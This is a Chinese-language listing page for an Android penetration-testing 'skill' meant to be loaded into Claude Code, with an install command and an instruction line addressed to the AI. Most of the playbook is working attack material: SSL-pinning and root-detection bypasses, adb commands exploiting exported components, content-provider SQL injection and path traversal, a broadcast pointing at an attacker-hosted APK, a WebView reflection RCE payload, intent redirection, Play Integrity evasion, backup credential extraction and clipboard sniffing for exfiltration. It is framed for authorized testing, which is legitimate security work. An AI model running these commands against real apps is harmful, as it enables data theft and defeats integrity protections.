关于 android-pentesting-tricks
android-pentesting-tricks 是供安全测试人员检查 Android 应用的技能手册,涵盖流量拦截限制、组件暴露、WebView 风险、Intent 重定向、Root 检测及设备完整性控制。
主要功能
- 01SSL pinning 绕过技术
- 02导出组件检查
- 03WebView 漏洞分析
- 04Intent 重定向测试
- 05Root 检测与完整性绕过
适用场景
- 01在授权测试中拦截应用 HTTPS 流量
- 02检查导出的 Activity、服务和 Provider
- 03测试深层链接与 WebView 输入处理
- 04评估应用在 Root 测试设备上的行为
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill android-pentesting-tricks安装后在 Claude Code 中输入/android-pentesting-tricks确认已加载。
附带文件FRIDA_SCRIPTS.md
详细介绍
技能:Android 渗透测试技巧——专家攻击手册
AI 加载指令:Android 应用安全测试专家技术。涵盖 SSL 固定绕过(Frida/Objection/LSPosed)、组件暴露、WebView 漏洞利用、Intent 重定向、Root 检测绕过和 Play Integrity 规避。基础模型容易遗漏 Frida Hook 细节和多层绕过链。
0. 相关路由
深入分析之前,可考虑加载:
- mobile-ssl-pinning-bypass,了解跨平台 SSL 固定绕过技术的深入内容和特定框架的 Hook
- ios-pentesting-tricks,在同时测试同一应用的 iOS 版本时使用
- api-sec,在流量被拦截后测试后端 API 安全
高级参考
需要以下内容时,也请加载 FRIDA_SCRIPTS.md:
- 常见 Android 测试任务的即用型 Frida 脚本模板
- OkHttp、Retrofit、Volley、WebView 的详细 Hook 点
- Root 检测绕过脚本集合
1. SSL 固定绕过
1.1 Frida 通用绕过
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
| Hook 点 | 库/类 | 覆盖范围 |
|---|---|---|
X509TrustManager.checkServerTrusted | Android SDK | 所有标准 HTTPS |
OkHttpClient.Builder.sslSocketFactory | OkHttp 3.x/4.x | Square OkHttp |
CertificatePinner.check | OkHttp 3.x/4.x | OkHttp 固定 |
HttpsURLConnection.setSSLSocketFactory | Android SDK | 旧版 HTTPS |
SSLContext.init | Android SDK | 自定义 SSL 上下文 |
WebViewClient.onReceivedSslError | WebView | WebView SSL 错误 |
TrustManagerFactory.getTrustManagers | Android SDK | 工厂创建的 TM |
1.2 Objection(快速方法)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
1.3 网络安全配置(调试版本)
如果可以修改 APK,或者这是调试版本:
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" />
</trust-anchors>
</debug-overrides>
</network-security-config>
1.4 Magisk 模块方案
| 模块 | 方法 | 范围 |
|---|---|---|
| LSPosed + TrustMeAlready | Hook 系统范围内的 TrustManager | 所有应用 |
| LSPosed + SSLUnpinning | 定向 SSL 绕过 | 单个应用 |
| MagiskTrustUserCerts | 将用户 CA 移至系统存储区 | 所有信任系统 CA 的应用 |
| ConscryptTrustUserCerts | 修补 Conscrypt | 较新版本 Android(7+) |
2. 组件暴露
2.1 导出的 Activity
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "target://callback?token=attacker_token"
# With extra data
adb shell am start -n com.target.app/.TransferActivity \
--es "amount" "99999" --es "recipient" "attacker"
2.2 Content Provider
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users
# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
| Provider 类型 | 攻击途径 | 影响 |
|---|---|---|
| 数据库后端 | 通过 query() 的投影/选择参数进行 SQL 注入 | 数据泄露、绕过身份验证 |
| 文件后端 | 通过 URI 进行路径遍历 | 读取任意文件 |
| Parcelable | 自定义 Parcelable 中的类型混淆 | 代码执行 |
2.3 Broadcast Receiver
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
--es "url" "http://attacker.com/malicious.apk"
# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
2.4 导出的 Service
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
--es "command" "exfiltrate"
# List running services
adb shell dumpsys activity services | grep com.target
3. WebView 漏洞
3.1 JavaScript 接口 RCE(API 17 之前)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')
3.2 现代 WebView 攻击
| 漏洞 | 条件 | 利用方式 |
|---|---|---|
setJavaScriptEnabled(true) + 不可信内容 | 已启用 JS,且攻击者可控制加载的 URL | XSS → 访问桥接接口 |
setAllowFileAccessFromFileURLs(true) | file:// 可读取其他 file:// | 加载 file:///data/data/com.target/... |
setAllowUniversalAccessFromFileURLs(true) | file:// 可访问任何源 | 通过 XHR 向攻击者外传数据 |
loadUrl(user_controlled) | loadUrl 中包含用户输入 | javascript: 方案或 file:// |
绕过 shouldOverrideUrlLoading | URL 验证不完整 | 重定向至攻击者控制的页面 |
使用污点数据调用 evaluateJavascript | 在 JS 执行中使用用户数据 | 在 WebView 上下文中触发 XSS |
3.3 Deep Link 到 WebView 攻击链
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
4. 意图重定向
导出的 Activity 接收一个 Intent,并使用接收到的 Intent 中的数据启动另一个(内部)Activity。
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
| 模式 | 指示器 | 风险 |
|---|---|---|
getParcelableExtra → startActivity | Intent 中嵌套 Intent | 启动未导出的 Activity |
getStringExtra("url") → startActivity(Intent.ACTION_VIEW) | URL 转发 | 打开任意 URL |
getStringExtra("class") → Class.forName → startActivity | 动态类加载 | 按名称启动任意 Activity |
5. 绕过 Root 检测
5.1 常见的 Root 检测检查
| 检查 | 检测内容 | Frida 绕过方法 |
|---|---|---|
su 二进制文件是否存在 | /system/xbin/su、/sbin/su | Hook File.exists() → 返回 false |
| 构建标签是否包含 "test-keys" | Build.TAGS | Hook Build.TAGS → 返回 "release-keys" |
| 是否安装 Magisk Manager | 包名检查 | Hook PackageManager.getPackageInfo |
| 是否存在 Superuser.apk | Root 管理应用 | Hook File.exists() |
| RootBeer 库 | 多项 Root 检测 | Hook 所有 RootBeer 检查方法 |
| SafetyNet/Play Integrity | 服务端证明 | 需要 Magisk DenyList + 模块 |
| 系统属性异常 | ro.debuggable=1 等 | Hook SystemProperties.get |
5.2 Magisk DenyList(此前称为 MagiskHide)
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
6. 绕过 PLAY INTEGRITY / SAFETYNET
| 级别 | 检查内容 | 绕过难度 |
|---|---|---|
| 基本完整性 | 未 Root、非模拟器 | 简单(Magisk + DenyList) |
| 设备完整性 | 引导加载程序已锁定、已验证启动 | 困难(需要锁定的引导加载程序) |
| 强完整性 | 硬件支持的证明 | 非常困难(硬件 TEE) |
技巧:
- 启用 Zygisk 的 Magisk + 为目标应用配置 DenyList
- Play Integrity Fix (PIF) Magisk 模块:伪造设备指纹
- Shamiko 模块:对特定应用隐藏 Root 状态
- 使用已锁定引导加载程序的自定义 ROM(针对 Pixel 的技巧)
7. TAPJACKING(覆盖层攻击)
<activity android:name=".OverlayActivity"
android:theme="@style/TransparentTheme"
android:excludeFromRecents="true">
</activity>
| Android 版本 | 保护措施 | 绕过方法 |
|---|---|---|
| 6.0 之前 | 无 | 完全覆盖层 |
| 6.0–11 | filterTouchesWhenObscured(选择启用) | 未使用该功能的应用容易受到攻击 |
| 12+ | 阻止覆盖层窗口的非可信触摸 | 部分覆盖层、基于时序的攻击 |
8. 备份提取
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar
# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
9. 其他技巧
9.1 利用可调试应用
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
9.2 Drozer(组件测试框架)
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2
# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
9.3 剪贴板嗅探
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
ClipData data = cm.getPrimaryClip();
// Exfiltrate copied passwords, tokens, etc.
});
10. ANDROID 渗透测试决策树
Testing Android application
│
├── Can intercept HTTPS traffic?
│ ├── No → SSL pinning in place
│ │ ├── Frida available? → universal SSL bypass script (§1.1)
│ │ ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│ │ ├── Debug build? → Network Security Config (§1.3)
│ │ └── None above? → manual decompile + patch + repackage
│ └── Yes → proceed to traffic analysis
│
├── Exported components found?
│ ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│ ├── Content Providers → SQLi, path traversal (§2.2)
│ ├── Broadcast Receivers → crafted intent injection (§2.3)
│ └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│ ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│ ├── File access enabled? → file:// scheme abuse (§3.2)
│ └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│ └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│ ├── Client-side checks only? → Frida hook bypass (§5.1)
│ ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│ └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│ ├── allowBackup=true? → ADB backup extraction (§8)
│ ├── Debuggable? → run-as for direct data access (§9.1)
│ └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
└── Overlay possible? → tapjacking (§7)
评论
支持 Markdown